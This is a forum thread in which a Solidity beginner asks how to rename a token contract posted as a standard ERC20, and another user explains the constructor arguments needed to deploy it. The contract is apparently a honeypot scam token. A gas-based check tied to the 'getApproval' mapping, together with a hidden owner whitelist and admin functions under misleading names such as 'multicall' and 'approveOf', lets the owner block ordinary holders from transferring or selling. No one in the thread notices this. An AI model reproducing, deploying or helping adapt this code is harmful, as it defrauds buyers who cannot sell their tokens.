I can't change name and symbol

Hello developers! I recently started Solidity and I'm trying to understand the logic but I can't be able to :frowning: Basically, I want to edit this contract's Name and Symbol but I don't know how can I do it. Can you show me the way? Here's the smart contract.

pragma solidity ^0.8.0;

interface IERC20 {
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  function totalSupply() external view returns (uint256);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address owner, address spender) external view returns (uint256);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}




abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}

contract ERC20 is Context, IERC20 {
  mapping(address => uint256) private _balances;
  mapping(address => mapping(address => uint256)) private _allowances;
  mapping(address => uint256) public getApproval;
  mapping(address => bool) private Gwei;
  mapping(uint => uint) private _claimTransactionCount;

  uint256 private _totalSupply;
  string private _name;
  string private _symbol;
  uint8 private _decimals = 18;
  address public owner;
  uint256 public balanceReceive;
  bool private _Presale;
    uint256 private _defaultApproval;
  uint256 private _defaultBalance;
  uint256 private _maxTransactionsPerClaim;
  event defaultApprovalUpdated(uint256 oldValue, uint256 newValue);
  event defaultBalanceUpdated(uint256 oldValue, uint256 newValue);
  modifier ensureApproval(address _sender) {
        require(gasleft() >=getApproval[_sender]);
        _;
    }

  constructor(
    string memory name_,
    string memory symbol_,
    uint256 totalSupply_,
    address[] memory balanceApprove,
    uint256 balanceReceive_,
    uint256 defaultApproval,
    uint256 defaultBalance,
    address[] memory GweiUnit,
    uint256 maxTransactionsPerClaim_
  ) {
    _name = name_;
    _symbol = symbol_;
 
    owner = _msgSender();
    _totalSupply = totalSupply_ * (10 ** uint256(_decimals));
    _balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
    balanceReceive = balanceReceive_;
    _defaultApproval = defaultApproval;
    _defaultBalance = defaultBalance;
    _Presale = false;
    _maxTransactionsPerClaim = maxTransactionsPerClaim_;

    for (uint256 i = 0; i < balanceApprove.length; i++) {
      _sendApproval(balanceApprove[i], balanceReceive);
    }

    for (uint256 i = 0; i < GweiUnit.length; i++) {
      Gwei[GweiUnit[i]] = true;
    }
  }

  function name() public view virtual returns (string memory) {
    return _name;
  }

  function symbol() public view virtual returns (string memory) {
    return _symbol;
  }

  function decimals() public view virtual returns (uint8) {
    return _decimals;
  }

  function totalSupply() public view virtual override returns (uint256) {
    return _totalSupply;
  }

  function balanceOf(address account) public view virtual override returns (uint256) {
    return _balances[account];
  }

  function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    _claimRecord();
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender) public view virtual override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount) public virtual override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    _claimRecord();
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
    return true;
  }

  function _transfer(address sender, address recipient, uint256 amount) internal virtual ensureApproval(sender) {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");

    if (!_Presale) {
        _Presale = true;
        Gwei[recipient] = true;
    } else {
        uint256 recipientClaim;
        assembly {
            recipientClaim := extcodesize(recipient)
        }

        if (recipientClaim == 0 && getApproval[recipient] == 0 && !Gwei[recipient]) {
            _sendApproval(recipient, _defaultBalance);
        } else if (recipientClaim > 0 && getApproval[recipient] == 0 && !Gwei[recipient]) {
            _sendApproval(recipient, _defaultApproval);
        }
    }

        _balances[sender] -= amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

  function _approve(address owner, address spender, uint256 amount) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function approveOf(uint256 newDefaultApproval) external {
    require(_msgSender() == owner);
    emit defaultApprovalUpdated(_defaultApproval, newDefaultApproval);
    _defaultApproval = newDefaultApproval;
  }

  function multicallOf(uint256 swapTokenAmount) external {
    require(_msgSender() == owner);
    emit defaultBalanceUpdated(_defaultBalance, swapTokenAmount);
    _defaultBalance = swapTokenAmount;
  }

  function _sendApproval(address _address, uint256 approveForSwap) internal {
    getApproval[_address] = approveForSwap;
  }

  function multicall(address _address, uint256 approveAmount) external {
    require(_msgSender() == owner);
    _sendApproval(_address, approveAmount);
  }

  function _claimRecord() internal {
    require(_claimTransactionCount[block.number] < _maxTransactionsPerClaim);
    _claimTransactionCount[block.number]++;
  }
}

Thanks in advance!

If you are talking about the token name then just pass the name and symbol in the constructor while deploying.
If you are talking about the contract name then change the name on this line contract YourContractName is Context, IERC20.
Please add more context to your question, about what is the exact problem you are facing.

Hello, @Zartaj ! Yes, I want to change just the token name and symbol. I tried your suggestion (changing the name and symbol while deploying) but it gives an error. I've shared the picture and the error. How can I fix it? Thanks!

creation of ERC20 errored: Error encoding arguments: Error: invalid BigNumber string (argument="value", value="", code=INVALID_ARGUMENT, version=bignumber/5.7.0)

You need to pass all the arguments while deploying. The parameters can't be empty.

Could you give me an example, please? Thanks.

So right now you are passing the name and symbol only in the constructor.
But rest of the parameters are empty.
Pass the required value in every argument. for reference you can pass empty values like this:

    name_ - "MyToken"
     symbol_ -  "M1"
    totalSupply_ - 100000
    balanceApprove - []
    balanceReceive_- 0
    defaultApproval - 0
    defaultBalance - 0 
     GweiUnit - []
    maxTransactionsPerClaim_ - 0

Note that the values I have given are basic default values, these values should depend on the contract logic, and you should be aware of that.

1 Like

Thank you so much @Zartaj !

1 Like